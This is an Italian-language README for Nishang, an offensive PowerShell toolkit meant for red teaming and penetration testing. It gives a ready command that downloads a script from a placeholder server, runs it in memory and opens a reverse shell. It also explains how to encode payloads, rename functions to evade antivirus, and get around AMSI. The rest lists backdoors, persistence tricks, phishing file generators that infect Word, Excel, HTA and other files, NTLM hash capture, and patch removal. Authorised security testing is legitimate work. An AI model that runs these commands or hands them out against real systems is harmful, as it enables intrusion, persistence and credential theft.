
Nishang - PowerShell offensivo per red team, penetration testing e sicurezza offensiva.
Di Nikhil Mittal Fondatore di Altered Security - Formazione pratica su red team e sicurezza aziendale!
Importa tutti gli script nella sessione PowerShell corrente (PowerShell v3 in poi).
PS C:\nishang> Import-Module .\nishang.psm1
Usa i singoli script con il dot sourcing.
PS C:\nishang> . C:\nishang\Gather\Get-Information.ps1
PS C:\nishang> Get-Information
Per ottenere aiuto su qualsiasi script o funzione, usa:
PS C:\nishang> Get-Help [nome script] -full
Nota che l'aiuto è disponibile per la funzione caricata dopo l'esecuzione dello script e non per lo script stesso dalla versione 0.3.8. In tutti i casi, il nome della funzione è lo stesso del nome dello script.
Ad esempio, per vedere l'aiuto su Get-WLAN-Keys.ps1, usa
PS C:\nishang> . C:\nishang\Get-WLAN-Keys.ps1
PS C:\nishang> Get-Help Get-WLAN-Keys -Full
Gli script di Nishang vengono segnalati come dannosi da molti antivirus. Gli script su un target sono pensati per essere utilizzati in memoria, operazione molto semplice con PowerShell. Due metodi base per eseguire script PowerShell in memoria:
Metodo 1. Usa il download ed esecuzione in memoria: Utilizza il comando seguente per eseguire uno script PowerShell da una shell remota, una shell nativa di meterpreter, una web shell, ecc. e la funzione da esso esportata. Tutti gli script in Nishang esportano una funzione con lo stesso nome nella sessione PowerShell corrente.
powershell iex (New-Object Net.WebClient).DownloadString('http://<tuowebserver>/Invoke-PowerShellTcp.ps1');Invoke-PowerShellTcp -Reverse -IPAddress [IP] -Port [PortNo.]
Metodo 2. Usa il parametro -encodedcommand (o -e) di PowerShell
Tutti gli script in Nishang esportano una funzione con lo stesso nome nella sessione PowerShell corrente. Pertanto, assicurati che la chiamata alla funzione sia fatta nello script stesso quando si utilizza il parametro encodedcommand da una shell non PowerShell. Per l'esempio sopra, aggiungi una chiamata di funzione (senza virgolette) "Invoke-PowerShellTcp -Reverse -IPAddress [IP] -Port [PortNo.]".
Codifica lo script usando Invoke-Encode di Nishang:
PS C:\nishang> . \nishang\Utility\Invoke-Encode
PS C:\nishang> Invoke-Encode -DataToEncode C:\nishang\Shells\Invoke-PowerShellTcp.ps1 -OutCommand
Dati codificati scritti in .\encoded.txt
Comando codificato scritto in .\encodedcommand.txt
Da sopra, usa lo script codificato da encodedcommand.txt ed eseguilo su un target dove i comandi possono essere eseguiti (una shell remota, shell nativa di meterpreter, una web shell, ecc.). Usalo come segue:
C:\Users\target> powershell -e [scriptcodificato]
Se gli script vengono ancora rilevati, cambiare i nomi delle funzioni e dei parametri e rimuovere il contenuto di aiuto aiuterà.
Nel caso in cui AMSI di Windows 10 blocchi ancora l'esecuzione dello script, consulta questo blog: http://www.labofapenetrationtester.com/2016/09/amsi.html
Nishang attualmente contiene i seguenti script e payload.
Modifica gli oggetti AD per fornire i permessi minimi necessari per DCShadow.
Esegui script PowerShell in memoria, esegui comandi e scarica e carica file usando questa webshell.
Una backdoor che può ricevere istruzioni da siti web di terze parti ed eseguire script PowerShell in memoria.
Una backdoor che può ricevere comandi e script PowerShell da query DNS TXT, eseguirli su un target ed essere controllata a distanza tramite le query.
Una backdoor che può eseguire script PowerShell in un determinato momento su un target.
Una backdoor che può ricevere comandi e script da un SSID WLAN senza connettersi ad esso.
Una backdoor che può utilizzare lo screensaver di Windows per l'esecuzione remota di comandi e script.
Una backdoor che può utilizzare flussi di dati alternativi e il Registro di Windows per ottenere persistenza.
Una backdoor che utilizza il noto trucco del Debugger per eseguire payload con Sticky keys e Utilman (Windows key + U).
Modifica i permessi di DCOM e dei namespace WMI per consentire l'accesso a un utente non amministratore.
Modifica i permessi del PowerShell remoting per consentire l'accesso a un utente non amministratore.
Implementazione di metodi pubblicamente noti per bypassare/evitare AMSI.
Crea file CHM infetti in grado di eseguire comandi e script PowerShell.
Crea file Word e infetta quelli esistenti per eseguire comandi e script PowerShell.
Crea file Excel e infetta quelli esistenti per eseguire comandi e script PowerShell.
Crea un file HTA che può essere distribuito su un server web e utilizzato in campagne di phishing.
Crea file JAR firmati che possono essere utilizzati con applet per l'esecuzione di script e comandi.
Crea file di collegamento in grado di eseguire comandi e script PowerShell.
Crea file IQY per il phishing di credenziali e hash SMB.
Crea file JS in grado di eseguire comandi e script PowerShell.
Crea file SCT in grado di eseguire comandi e script PowerShell.
Crea un file SCF che può essere utilizzato per catturare le sfide NTLM hash.
Quando sono necessari privilegi SYSTEM.
Introduci vulnerabilità rimuovendo le patch.